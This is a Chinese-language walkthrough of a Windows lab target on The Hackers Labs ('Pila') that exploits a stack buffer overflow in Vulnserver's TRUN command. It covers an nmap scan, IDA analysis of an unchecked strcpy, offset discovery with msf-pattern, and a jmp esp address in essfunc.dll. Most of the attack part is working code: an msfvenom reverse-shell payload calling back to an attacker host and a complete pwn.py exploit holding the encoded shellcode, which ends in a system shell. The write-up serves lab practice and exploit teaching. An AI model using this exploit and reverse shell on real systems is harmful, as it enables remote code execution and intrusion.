靶场:The Hackers Labs
地址:https://thehackerslabs.com/pila/
系统:Windows
内容:缓冲区溢出
开机后扫描端口,有一个9999端口的不常见服务。
─$ nmap -sV -sC -Pn -p- -oN port.log $IP
# Nmap 7.94SVN scan initiated Mon Nov 18 02:49:58 2024 as: /usr/lib/nmap/nmap --privileged -sV -sC -Pn -p- -oN port.log 192.168.56.161
Nmap scan report for 192.168.56.161
Host is up (0.00022s latency).
Not shown: 65524 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.0
|_http-title: 404: archivo o directorio no encontrado.
|_http-server-header: Microsoft-IIS/7.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
9999/tcp open vulnserver Vulnserver
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:77:95:B7 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 5h59m57s
| smb2-security-mode:
| 2:0:2:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-LVJNVVHBWSR, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:77:95:b7 (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2024-11-18T08:52:24
|_ start_date: 2024-11-18T08:20:04
打开80端口,显示是无法访问的网页(这里我的浏览器已经自动翻译为英文了)。
查看源代码,滚动到最下面,发现一个隐藏目录的信息。
在这个目录里发现1个exe文件,1个dll文件,下载后在windows系统里可以运行,看来就是9999端口运行的服务,估计多半是缓冲区溢出的题目。接下来开始找溢出的地方。
把vulnserver.exe扔进IDA,发现在处理TRUN、GMON、LTER三条指令时,调用了Function3,而在处理其它指令时,没有调用函数。
else if ( !strncmp(buf, "RTIME ", 6u) )
{
Destination = (char *)malloc(0x78u);
memset(Destination, 0, 0x78u);
strncpy(Destination, buf, 0x78u);
v20 = send(s, "RTIME VALUE WITHIN LIMITS\n", 26, 0);
}
else if ( !strncmp(buf, "LTIME ", 6u) )
{
Destination = (char *)malloc(0x78u);
memset(Destination, 0, 0x78u);
strncpy(Destination, buf, 0x78u);
v20 = send(s, "LTIME VALUE HIGH, BUT OK\n", 25, 0);
}
else if ( !strncmp(buf, "SRUN ", 5u) )
{
Destination = (char *)malloc(0x78u);
memset(Destination, 0, 0x78u);
strncpy(Destination, buf, 0x78u);
v20 = send(s, "SRUN COMPLETE\n", 14, 0);
}
else if ( !strncmp(buf, "TRUN ", 5u) )
{
Destination = (char *)malloc(0xBB8u);
memset(Destination, 0, 0xBB8u);
for ( i = 5; i < len; ++i )
{
if ( buf[i] == 46 )
{
strncpy(Destination, buf, 0xBB8u);
Function3(Destination);
break;
}
}
memset(Destination, 0, 0xBB8u);
v20 = send(s, "TRUN COMPLETE\n", 14, 0);
}
else if ( !strncmp(buf, "GMON ", 5u) )
{
*(_DWORD *)v10 = 1313819975;
v11 = 1096045344;
v12 = 1145394258;
v13 = 10;
for ( i = 5; i < len; ++i )
{
if ( buf[i] == 47 )
{
if ( strlen(buf) > 0xF6E )
Function3(buf);
break;
}
}
v20 = send(s, v10, 13, 0);
}
else if ( !strncmp(buf, "GDOG ", 5u) )
{
strncpy(v22, buf, 0x400u);
v20 = send(s, "GDOG RUNNING\n", 13, 0);
}
下面以处理TRUN指令为突破口,注意在传递给Function3这个函数参数时,给出的数据缓冲区大小时0xBB8u,也就是3000。跟进Function3看一下汇编代码和C代码。
.text:00401808 ; char *__cdecl Function3(char *Source)
.text:00401808 public _Function3
.text:00401808 _Function3 proc near ; CODE XREF: ConnectionHandler(x)+52F↓p
.text:00401808 ; ConnectionHandler(x)+61E↓p ...
.text:00401808
.text:00401808 Destination = dword ptr -7E8h
.text:00401808 Source = dword ptr -7E4h
.text:00401808 var_7D8 = byte ptr -7D8h
.text:00401808 arg_0 = dword ptr 8
.text:00401808
.text:00401808 push ebp
.text:00401809 mov ebp, esp
.text:0040180B sub esp, 7E8h
.text:00401811 mov eax, [ebp+arg_0]
.text:00401814 mov [esp+7E8h+Source], eax ; Source
.text:00401818 lea eax, [ebp+var_7D8]
.text:0040181E mov [esp+7E8h+Destination], eax ; Destination
.text:00401821 call _strcpy
.text:00401826 leave
.text:00401827 retn
.text:00401827 _Function3 endp
char *__cdecl Function3(char *Source)
{
char Destination[2008]; // [esp+10h] [ebp-7D8h] BYREF
return strcpy(Destination, Source);
}
Functions3在执行复制时,没有检查Source的大小(可以为3000),而预留的Destination的缓冲区大小只有2008,这里存在溢出。
如果比较有经验,这里可以判断出,当传入数据的长度是2016时,正好将2008+arg0(4)+返回地址(4)全部覆盖。当然,还可以通过程序来判断。
使用msf生成长度3000(超出缓冲区预留大小)的特征字符串
└─$ msf-pattern_create -l 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
编写一个python程序,用于向vulnserver发送数据。其中,junk变量中就是刚才msf-pattern生成的特征字符串。
import socket
import sys
ip='127.0.0.1'
port=9999
junk=b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
data_from_srv=s.recv(4096)
print(data_from_srv)
s.sendall(b'TRUN .'+junk+b'\n')
s.close()
在本机(windows)使用调试工具(这里用的是x32dbg)加载vulnserver.exe并运行,在。使用刚才的程序发送junk代码,x32dbg会因为异常暂停下来。注意此时右下角堆栈顶部的值为43307043。
使用msf-pattern检查依移位置,是2010,加上b'TRUN .'的长度为6,shellcode的长度应该正好是2016,就是我们前面计算的。
└─$ msf-pattern_offset -l 3000 -q 43307043
[*] Exact match at offset 2010
接下来就是寻找jmp esp指令的地址。在IDA中查看essfunc.dll源码,有多处jmp esp指令,这里随便选择一条,0x625011BB。
如果想确认一下,可以在x32dbg中跳转到这个地址,查看一下,果然是jmp esp指令。
接下来,使用msfvenom生成反弹shell的代码。
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=1234 -a x86 --platform windows -b "\x00" -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf = b""
buf += b"\xda\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\xe9\xa6"
buf += b"\xb3\x74\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x2c"
...
把以上信息组织起来,形成完成的pwn.py代码。
import socket
import sys
ip='192.168.56.163'
port=9999
junk=b'a'*2006
ret_addr=b'\xBB\x11\x50\x62'
nops=b'\x90'*32
buf = b""
buf += b"\xda\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\xe9\xa6"
buf += b"\xb3\x74\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x2c"
buf += b"\xa2\x51\x81\x52\x43\x17\x6a\xaa\x94\x78\xe2\x4f"
buf += b"\xa5\xb8\x90\x04\x96\x08\xd2\x48\x1b\xe2\xb6\x78"
buf += b"\xa8\x86\x1e\x8f\x19\x2c\x79\xbe\x9a\x1d\xb9\xa1"
buf += b"\x18\x5c\xee\x01\x20\xaf\xe3\x40\x65\xd2\x0e\x10"
buf += b"\x3e\x98\xbd\x84\x4b\xd4\x7d\x2f\x07\xf8\x05\xcc"
buf += b"\xd0\xfb\x24\x43\x6a\xa2\xe6\x62\xbf\xde\xae\x7c"
buf += b"\xdc\xdb\x79\xf7\x16\x97\x7b\xd1\x66\x58\xd7\x1c"
buf += b"\x47\xab\x29\x59\x60\x54\x5c\x93\x92\xe9\x67\x60"
buf += b"\xe8\x35\xed\x72\x4a\xbd\x55\x5e\x6a\x12\x03\x15"
buf += b"\x60\xdf\x47\x71\x65\xde\x84\x0a\x91\x6b\x2b\xdc"
buf += b"\x13\x2f\x08\xf8\x78\xeb\x31\x59\x25\x5a\x4d\xb9"
buf += b"\x86\x03\xeb\xb2\x2b\x57\x86\x99\x23\x94\xab\x21"
buf += b"\xb4\xb2\xbc\x52\x86\x1d\x17\xfc\xaa\xd6\xb1\xfb"
buf += b"\xcd\xcc\x06\x93\x33\xef\x76\xba\xf7\xbb\x26\xd4"
buf += b"\xde\xc3\xac\x24\xde\x11\x62\x74\x70\xca\xc3\x24"
buf += b"\x30\xba\xab\x2e\xbf\xe5\xcc\x51\x15\x8e\x67\xa8"
buf += b"\xfe\x71\xdf\x8a\x9b\x19\x22\xea\x67\x08\xab\x0c"
buf += b"\x0d\xbc\xfa\x87\xba\x25\xa7\x53\x5a\xa9\x7d\x1e"
buf += b"\x5c\x21\x72\xdf\x13\xc2\xff\xf3\xc4\x22\x4a\xa9"
buf += b"\x43\x3c\x60\xc5\x08\xaf\xef\x15\x46\xcc\xa7\x42"
buf += b"\x0f\x22\xbe\x06\xbd\x1d\x68\x34\x3c\xfb\x53\xfc"
buf += b"\x9b\x38\x5d\xfd\x6e\x04\x79\xed\xb6\x85\xc5\x59"
buf += b"\x67\xd0\x93\x37\xc1\x8a\x55\xe1\x9b\x61\x3c\x65"
buf += b"\x5d\x4a\xff\xf3\x62\x87\x89\x1b\xd2\x7e\xcc\x24"
buf += b"\xdb\x16\xd8\x5d\x01\x87\x27\xb4\x81\xb7\x6d\x94"
buf += b"\xa0\x5f\x28\x4d\xf1\x3d\xcb\xb8\x36\x38\x48\x48"
buf += b"\xc7\xbf\x50\x39\xc2\x84\xd6\xd2\xbe\x95\xb2\xd4"
buf += b"\x6d\x95\x96"
payload=b''
payload+=b'TRUN .'
payload+=junk
payload+=ret_addr
payload+=nops
payload+=buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
data_from_srv=s.recv(4096)
print(data_from_srv)
s.sendall(payload)
s.close()
成功得到系统shell。